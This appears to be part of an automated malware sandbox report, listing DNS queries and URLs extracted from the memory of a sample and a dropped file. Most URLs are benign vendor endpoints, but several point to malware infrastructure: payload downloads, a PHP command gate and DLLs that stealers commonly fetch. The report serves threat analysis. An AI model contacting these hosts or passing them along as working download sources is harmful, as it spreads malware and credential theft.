Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2675670278.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2675670278.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exekghc
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2675670278.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllt
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllz
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2675670278.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll8
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllT
Source: file.exe, 00000000.00000002.2675670278.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2675670278.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlli5
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2675670278.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2675670278.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Ca
Source: file.exe, 00000000.00000002.2675670278.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php9
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpGHCAKK.exeata;
Source: file.exe, 00000000.00000002.2675670278.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU
Source: file.exe, 00000000.00000002.2675670278.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb
Source: file.exe, 00000000.00000002.2703155584.0000000023BE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpxM
Source: file.exe, 00000000.00000002.2674146425.00000000004F7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3382889346.0000000000EAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe01
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe3
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe5
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe60ac02b4ded8abeee1fbde719b5059bb
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7d1a8Sb
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7d1aaLS6
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe8
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeLl
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeRS
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeU
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exedH
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeedC
Source: skotes.exe, 00000020.00000002.3382889346.0000000000EAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeppData
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2709487314.000000006FD4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2698105662.000000001D9FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707965070.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp.15.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.15.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.14.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.14.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 64b477bd-07de-4234-8ba8-c616528141ea.tmp.15.dr, 9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp.15.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.14.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 64b477bd-07de-4234-8ba8-c616528141ea.tmp.15.dr, 9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp.15.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.15.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.15.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.14.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 64b477bd-07de-4234-8ba8-c616528141ea.tmp.15.dr, 9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log9.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
